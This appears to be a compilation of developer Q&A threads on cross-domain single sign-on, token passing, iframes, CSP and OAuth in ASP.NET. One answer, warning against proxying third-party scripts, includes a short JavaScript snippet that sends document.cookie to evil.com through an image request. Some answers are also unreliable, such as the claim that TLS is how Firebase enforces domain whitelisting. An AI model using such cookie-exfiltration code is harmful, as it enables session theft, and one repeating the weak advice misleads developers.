I have two domains
Example :
a.com and b.com
I try to implement SSO Cross-domain authentication for these two websites
I refer to this link reference How youtube gets logged in to gmail account without getting redirected? to implement like Gmail and YouTube
I have doubt about that
How to send tokens from one domain to another domain using iframe
How to pass tokens in a secure way
If I use an intermediate domain how to prevent that domain call for accessing cookies value I want to set the cookies in the second domain
Please help me to implement I searched but the sample code is not available in asp.net
have you tried this method?
Using Reverse Proxy
As #David suggested, use a reverse proxy like Nginx or HAPorxy to serve both the applications from the same domain - protocol://host:port. All three things should be equal.
Using cookies instead of LocalStorage
If you use cookies instead of LocalStorage, then host ports do not participate in determining site policy. So two application running on the same host but the different port will share cookie without any extra work. To protect the cookie, use an HTTP-only cookie, same-site cookie.
Using URL to share - IFrame only
If you are using iFrame, then you can use URL to share the token. When the outer window is loading the iFrame, send this information via hash like http://localhost:8081/somepage#token=1234
Using hash will allow the page to send data to an inner page without being sent over the wire.
Using window.postMessage - IFrame only
Using window.postMessage, you can simply pass the required data to the inner window/iFrame. As long as you control both the endpoints, you can easily do cross-domain message sending.
In the end, it really depends on your security requirements, ease-of-maintenance, etc.
The best of this is using oAuth https://oauth.net/ provides a comprehensive definition of this.
There are many open-source implementations of oAuth consumer and server available.
The concept is that a third URL will authenticate and maintain the primary session and pass tokens via URL on redirect. The consumers can utilize tokens to request the server for details directly.
Overall benifit is that you will get implementations via open-source communities in a language of your choice, and you will be able to utilise third-party logins. There are other standards you can look into as well are SAML , OpenID and LDAP and products like shibbobleth,CAS and Azure AD.
Related
We have a requirement to load an internally hosted angular UI from within an external partners secured website. We're using an OIDC auth flow calling to an internal IDP server to retrieve/validate the user tokens.
The problem is we are not able to make custom modifications to the internal IDP server's rules in order to allow the external partners domain as being valid for calling to from within an iframe (Content Security Policy).
This causes us to get an error related to invalid Content Security Policy as the external partners domain is not within the allowed domains list of the CSP. If we serve this UI in an iframe from within an internal company domain (allowed in the CSP) it works just fine.
Assuming we have to load our internal UI from within the partners website inline (iframe or other), and authenticate our users using an oauth pattern are there any viable solutions for this problem?
I understand the CSP and x-frame-option headers are set this way to avoid click-jacking security risks, so not sure what is being asked of us is possible while remaining secure. Initial thought is to possibly put a proxy service between the partners website and our UI and the proxy service will handle the authentication...bypassing the CSP rules...but does not necessarily seem secure, and not sure how to implement that even if so. Any thoughts or ideas would be welcomed. Thanks!
Proxying third-party scripts is a bad idea. Consider the script:
var Img = document.createElement("img");
Img.setAttribute('src', 'http://evil.com?cookie=' + document.cookie);
document.body.appendChild(Img);
Loaded from someone else's domain, the script will not have access to the document.cookie. But after proxying, the browser counts that the script is loaded from your domain, and will send cookies to the evil.com site.
Allowing your site to be embedded into iframe open doors to:
clickjacking: by placing an invisible frame, it allows you to perform actions on behalf of a visitor if he is logged at third-party site.
Phishing: in the case of an iframe, the user does not see the real URL in the address bar. Therefore, an attacker can load an iframe from his domain that looks like a third-party authorization site. Since visitor is not able to see this, he enter login/password at the attackers site.
third-party scripts access to some sensitive user's data such as: geolocation, camera, microphone, speaker, mobile device sensors (accelerometer, gyroscope, ambient-light-sensor, magnetometer, vibrate) etc. See Feature Policy / Permissions Policy how to restrict these.
For using your IDP server for autentificating user on third-party site, you MUST do redirect to your domain, autentificate user on your domainm and redirect user back to the third-party site. To keep auth a JWT token can be used or third-party site can set its own auth cookie. The referrer is used to return back to the partner's page where auth was started. Google's OAuth2 service works in this way.
It is not known what private/financial data your web application is dealing with, but it is unlikely that you want to be responsible for the actions of third parties by making a hole in the security system for them.
I am thinking about how I will implement authentication in my react application and even after hours of reading I still have few questions. Please provide any information you think could benefit me I would like to really understand the problem it could be that my line of reasoning somewhere implies I don't fully understand something I would appreciate if you could point out where I am wrong.
Infrastructure:
SSR React app served behind reverse proxy on <domain_name>
.NET 5.0 api server using asp.net identity served behind reverse proxy on api.<domain_name>
Reverse proxy provides SSL so https:// on both
General information:
I need to support external logins (Google, Facebook etc)
Paying for Auth0, Okta etc is not an option
No 3rd party apps are going to authenticate against me
Client is web browser
I don't need to support outdated browsers
Questions:
Do I need IdentityServer4 at all? I am never going to act as an authentication authority for 3rd party apps.
I can still support external logins without using IS4 right? I just need to handle redirect callback I can see there are methods such as GetExternalLoginInfoAsync, ExternalLoginSignInAsync which should make the job easier.
The reason why every SPA authentication tutorial recommends Auth Code + PKCE is because they assume you want to be authentication authority, don't have API on the same domain, or were written before SameSite cookies existed?
My plan is to write a custom login route assigning SameSite cookie and that's it. This makes client-side code super simple no shenanigans with adding access tokens to headers before making calls.
Is it possible? I found few articles describing something very similar but I am not sure.
With a setup like that is there something that is just not going to be possible? Like remote logout, banning users, or whatever you can think of.
You don't have to implement IS4 if you don't want to (especially since IS4 will have its support shut down in November 2022). You can just read the OAUTH2 documentation and implement the routes you need and still be OAUTH2 compliant.
You will have only one client (your react app) so no dynamic client registration, just the 2 following routes:
the authorization endpoint to get an authorization code when the user successfully authenticated himself using an external provider. This authorization code has to be used ONLY ONCE in the next route.
the token endpoint to get an access token and a refresh token using the authorization code given above or a refresh token given before. If the same authorization code or refresh token is used twice, you have to revoke the tokens given in the first call because this should not happen.
With a setup like that is there something that is just not going to be possible? Like remote logout, banning users, or whatever you can think of.
Besides these 2 routes you are free to implement whatever you want. Like a route to allow user to revoke all of his sessions.
To answer more precisely to your questions:
Do I need IdentityServer4 at all? I am never going to act as an authentication authority for 3rd party apps.
No you don't need it if you don't know exactly why you need it. It does not have anything to do with the fact that you are not going to act as an authentication authority for others clients.
I can still support external logins without using IS4 right? I just need to handle redirect callback I can see there are methods such as GetExternalLoginInfoAsync, ExternalLoginSignInAsync which should make the job easier.
Yes you can, as long as you store the authorization code and the refresh token when the user successfully signed in using the external provider.
The reason why every SPA authentication tutorial recommends Auth Code + PKCE is because they assume you want to be authentication authority, don't have API on the same domain, or were written before SameSite cookies existed?
I would assume that they are oriented Oauth2 compliance. But if you don't need nor want to implement OAuth2 framework, then don't. But in my opinion you should, it is really easy to implement.
How Firebase domain whitelisting works behind the scene to make it foolproof?
To be clear, I'm not trying to configure my domain in Firebase console(Which I understand how to do), but instead, trying to build some similar source domain validation in my server side - API code. What web standards Firebase uses to make sure only authorized domains make API call as the API token is public.
What if someone uses non-browser HTTP client with source domain headers faked with the API token of my app? I assume Firebase would've thought about such case and its covered. Trying to understand the how its foolproof.
My guess would be that it is not fool-proof, but limits the use cases in certain situations.
You could use such a whitelisted domain in the CORS related headers, this would prevent certain actions from modern browsers.
The whitelisted domains can also used with authentication to make sure the redirect after login is to your domain.
Theoretically you could go and check the Referer header, but a lot of browsers do not supply it for security / privacy purposes so that would be a bad option.
As for firebase, since it is quite hard to use firebase without the library, the library can just supply the current url to the server and prevent any action from unlisted domains. This is by no means fool-proof.
What if someone uses non-browser HTTP client with source domain headers faked with the API token of my app? I assume Firebase would've thought about such case and its covered.
I think your assumption is wrong. Clients are insecure and any request can be faked. Eventually it's a packet that is sent to a server and if you control the sender you control the contents of the packet.
If we monitored the connection between the client and Firebase we can figure out a way to perform the same tasks from another (out of browser) process.
TLS. If you look at the IETF's documentation Handshake Protocol Overview :
When a TLS client and server first start communicating, they agree on
a protocol version, select cryptographic algorithms, optionally
authenticate each other, and use public-key encryption techniques to
generate shared secrets.
So, I think this is the mechanism used for domain whitelisting. Regarding faking HTTP headers, Firebase does not accept HTTP, only HTTPS (TLS).
I have two web application. One is for centralized Image server.
Suppose they are a.com and b.com
b.com is for image server.
and a.com is where my application is hosted.
I have created a handler for images ob b.com which process the request and add watermark and send it back to a.aspx.
I am passing the path of the image (absolute like http://b.com/ImageHandler.ashx?id=imageurl) to the Handler on b.com
Now I am not able to authenticate the request on b.com
Now I am thinking about Handler which is on b.com
should be on a.com
because at a.com I can easily authenticate user.
for this purpose do I need the handler at both a.com and b.com
or is there is any way that I can authenticate the user at b.com.
which has session on a.com.
I can not access the database for each request at b.com because the number of request for the images is very big.
Hope I am able to explain my problem correctly.
You need to first evaluate whether it make sense to have image server under different domain. If its all about sharing the same code among multiple sites then you will be better off by putting you handler under site and sharing the relevant code via class library.
There can be legitimate reasons for having handler on different domain. For example, it might need different level of scaling, it might be resource-hungry and you want to isolate it to different machine (isolating to different app-pool is possible under same domain) or because of some licensing issue (you want to save processor based license cost of some library used by handler).
If there are going to be different domain then you can have them as sub-domains. For example - a.xyz.com and b.xyz.com. In such case, same authentication ticket (issued at parent domain i.e. xyz.com) will suffice for both. See domain property for Forms Authentication Cookie to control this.
You also need to ask if authentication make sense for your image handler. Do you want it to be open or restricted to certain users? If you want only authenticated users and you want to support multiple applications then you are looking at supporting user sets of multiple applications. If it's the same user set (e.g. active directory) then your job will be simpler - have a single authentication provider whose ticket will be trusted by your site and all other applications [Windows Authentication works on similar basis].
If its diverse set of users then it essentially means that for image server, you have multiple authentication providers that you need to trusted. You probably need to look at some Federated Identity system - see one such .NET based implementation discussed here: http://msdn.microsoft.com/en-us/magazine/ff872350.aspx
Maybe this helps:
http://msdn.microsoft.com/en-us/library/eb0zx8fc.aspx
Asp.net forms authentication and multiple domains
If this doesn't work for you you could pass some kind of encrypted token to b.com that b.com can validate to ensure the request is legit.
We are implementing a single sign on mechanism in an enterprise environment, where the token is shared between applications using HTTP header. Now, in order to do the integration test, I need to write an application to simulate this.
Is there any way in ASP.NET where I can redirect to another web-page and pass a custom HTTP header in the process?
Thanks
You need to create a page on Site B that Site A redirects the user too that sets a cookie with the desired value.
for instance.
http://siteb.com/authenticate.aspx?authtoken=15128901428901428904jasklads&returnUrl=http://siteb.com/index.aspx
authenticate.aspx would set a cookie and then every request would receive authtoken.
The server could send the HTTP header to the client on a redirect, but the client would not send it back to the other remote server.
The ideal solution in this case would be to use a Cookie, or a QueryString variable. Cookies may suffer from cross-domain issues and become complicated if host names are different enough.
In any of these approaches, one must be careful not to create a security hole by trusting this information as it is user input coming back from the client (or some black hat).